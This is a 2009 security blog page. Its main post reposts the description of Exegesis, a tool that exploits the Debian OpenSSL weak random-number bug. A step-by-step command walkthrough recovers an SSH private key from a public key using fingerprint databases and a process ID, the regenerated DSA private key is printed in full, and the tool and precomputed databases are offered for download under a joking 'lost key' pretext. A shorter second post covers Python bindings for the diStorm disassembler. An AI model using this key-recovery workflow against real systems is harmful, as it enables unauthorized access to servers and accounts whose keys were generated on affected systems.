Breaking Code

May 28, 2009

Exegesis – A toolkit for abusing the broken PRNG in Debian OpenSSL

Filed under: Tools — Tags: , , , , , — Mario Vilas @ 9:05 pm

A new tool has just been released to exploit the Debian OpenSSL bug, it’s called Exegesis. It seems very interesing, it’s more complete and flexible than all of the existing ones. Definitely worth checking out!

Let’s see the description from it’s webpage:

Exegesis
--------

So you have an ssh public authentication key and you 'lost' the
private key.  Did you generate that key in the last two years on
Debian or Ubuntu GNU/Lunix?  Yes?  Ok, great.  

$ cat id_dsa.pub
ssh-dss AAAAB3NzaC1kc3MAAACBAIW0doTjIKPNwAjHogbLhXNxNlwdvHHKzFPgZ
5cpwF4a2e8YYlEyXo8gyoub5c2s0f8B61ZNkowc9tcN+Iy1aiE2LBloxds3IwWNpZ
8KnJruCX/mYbltUp3CNJP/8gmeL41akUddPJ5wg6pYjDY5z7Kd9lojhqKOn3qSPXZ
JDJXJAAAAFQDZMKlBeKVX9/FCO5auyzPHxn6QnwAAAIBULtChrN1rGfAjIU8VZwQa
rQNunGFDfstWNOcx0lvAm2DkQCVCFT8DUXlibHWQJJbeMk3DfOl02ItIAhMvTTAPM
rb8vtFsB3Fcw7KAuK0cAJaY3R2S6/tBbWXch7SaaOQ4dxa+8hmEl54icW/me0H6Z0
SEDYEm3j8pnAUnPAu/pgAAAIALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVh
wCbpBqSqiYxZO/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORRE
umPRs6buJ4GMf33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFIm
A== lamer@gnubuntu

First you'll need the fingerprint.

$ ssh-keygen -l -f ./id_dsa.pub
1024 b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c ./id_dsa.pub

Now look for that fingerprint in the generated fingerprint database
files.  You can just use 'grep' for this.

$ grep b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c dsa_1024_32_le.out
b2:f0:f6:47:19:64:ff:8e:8f:90:75:bd:57:6c:71:0c 25191 dsa 1024 32 0

Oh, it's your lucky day!  You're on the list.

The fingerprint database files have the following format:

  fingerprint pid key_type key_bits arch big_endian

  pid        The process id of the ssh-keygen which originally generated the key
  key_type   Either 'dsa' or 'rsa' depending on the type of key
  key_bits   The size of the key.  1024 and 2048 are common.
  arch       Either 32 or 64 depending on the processor which the key was created on
  big_endian Is 1 if the key was generated on a big endian box or 0 otherwise

So, the key we matched is a 1024 bit DSA key, generated on a 32 bit little endian
processor.  That sounds about right.

$ ./exegesis
Usage: ./exegesis [options]
Options:
  -B            Select big endian target (default is little endian target).
  -A            Selecet 64 bit target (default is 32 bit target)
  -o <file>     Output file.
  -t (dsa|rsa)  Type of key(s) to generate (default is rsa)
  -b bits       Key size to generate in bits (default is 1024 bits)
  -g            Generate all keys for a range of pids (all pids by default)
  -r start,end  Specify a pid range to generate (default is 1,32768)
  -p pid        Generate a key for a chosen pid value

$ ./exegesis -t dsa -b 1024 -p 25191
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCFtHaE4yCjzcAIx6IGy4VzcTZcHbxxysxT4GeXKcBeGtnvGGJR
Ml6PIMqLm+XNrNH/AetWTZKMHPbXDfiMtWohNiwZaMXbNyMFjaWfCpya7gl/5mG5
bVKdwjST//IJni+NWpFHXTyecIOqWIw2Oc+ynfZaI4aijp96kj12SQyVyQIVANkw
qUF4pVf38UI7lq7LM8fGfpCfAoGAVC7QoazdaxnwIyFPFWcEGq0DbpxhQ37LVjTn
MdJbwJtg5EAlQhU/A1F5Ymx1kCSW3jJNw3zpdNiLSAITL00wDzK2/L7RbAdxXMOy
gLitHACWmN0dkuv7QW1l3Ie0mmjkOHcWvvIZhJeeInFv5ntB+mdEhA2BJt4/KZwF
JzwLv6YCgYALkFjo4rsTTcSyW841Gdy+rhsH4St3dd4ZXiTdDVhwCbpBqSqiYxZO
/gBHdCDAIs2uD8+GElpv7Q5Hx0g5JYLoBCpa1O8R2UAZMapZORREumPRs6buJ4GM
f33S5f/WSqdFaMo1+/67VkvUS/9Drtb7Mz3aI/QUIh1H3gfT0xFImAIUQOZiUdQQ
YO/Yg/6nRo4hghj28Tg=
-----END DSA PRIVATE KEY-----

Whoah?! Is that really the private key?  Let's compare it to the
original key generated with ssh-keygen

$ ./exegesis -t dsa -b 1024 -p 25191 > key.out
$ md5sum id_dsa key.out
0aa477a9a01c6724708f9f362bcf0f7d  id_dsa
0aa477a9a01c6724708f9f362bcf0f7d  key.out

Generating Databases
--------------------

$ ./exegesis -g -t dsa -b 1024 -o dsa_1024_32_le.out

Unlike inferior competing products, Exegesis models the backdoored PRNG
in Debian OpenSSL.  It uses a version of the OpenSSL random number and
key generating code that can be configured to behave like any of the
hardware platforms that affect the generated random numbers.

This means you can generate databases for each different relevant hardware
configuration without actually needing to run it on those architectures.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

WARNING: Generating your own databases takes a very long time and may
         cause side effects such as acute boredom and drowsiness.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Since we know you're anxious to get started recovering all those misplaced
private SSH keys, this release of Exegesis conveniently includes, right out
of the box, ten starter databases at no extra charge!

$ md5 keysets/*
MD5 (keysets/dsa_1024_32_be.out) = d422aa60e3d6180ec65adb7179ebe43d
MD5 (keysets/dsa_1024_32_le.out) = d6f1e5f4d5dd9e84a05de47cc9e0e81a
MD5 (keysets/dsa_1024_64_le.out) = 89d34fe52f083c7e0c2297c2d8439bbc
MD5 (keysets/dsa_2048_32_le.out) = b81ca4cd84613c0fa19056036153fc62
MD5 (keysets/dsa_2048_64_le.out) = f914df33f27a11d7b2ab06446c6c13ec
MD5 (keysets/rsa_1024_32_be.out) = f5a13ffcbc63206d1c90850e2ad2e052
MD5 (keysets/rsa_1024_32_le.out) = 082b47d57e1d77366ce3795359926440
MD5 (keysets/rsa_1024_64_le.out) = 18c80767c00db8130da8a77f7e81f448
MD5 (keysets/rsa_2048_32_le.out) = 977b88495603c860abbd48a47847065a
MD5 (keysets/rsa_2048_64_le.out) = dcdd098089281388e1c3bc935dec5b7e

ps:

This product includes software developed by the OpenSSL Project for use in the OpenSSL Toolkit (http://www.openssl.org/)

Download

May 27, 2009

Using diStorm with Python 2.6 and Python 3.x

Filed under: Tools — Tags: , , , , , , , — Mario Vilas @ 12:14 am

diStorm is currently my favorite disassember for Intel platforms. It’s small, fast, compiles virtually anywhere, and it’s got Python bindings for 2.3, 2.4 and 2.5. The only problem so far was trying to use it with Python 2.6 and above – the library has to be recompiled for each new version. To solve this problem a pure Python module using ctypes is shipped – but it’s interface is different from the C module, forcing us to code different routines.

So my solution was to code my own ctypes-based diStorm bindings. It’s compatible with the C version and it works in all Python 2.x versions. The DLL library has to be present in the path for it to work.

I’ve also ported it to Python 3.x. Both versions are tested under Windows only, however it should work correctly under Linux – let me know if you try it!

Here is also an example script using diStorm to disassemble a raw binary file. Could come in handy for example to disassemble the shellcode contained in an exploit, or to find anything that resembles shellcode in a packet capture.

Update

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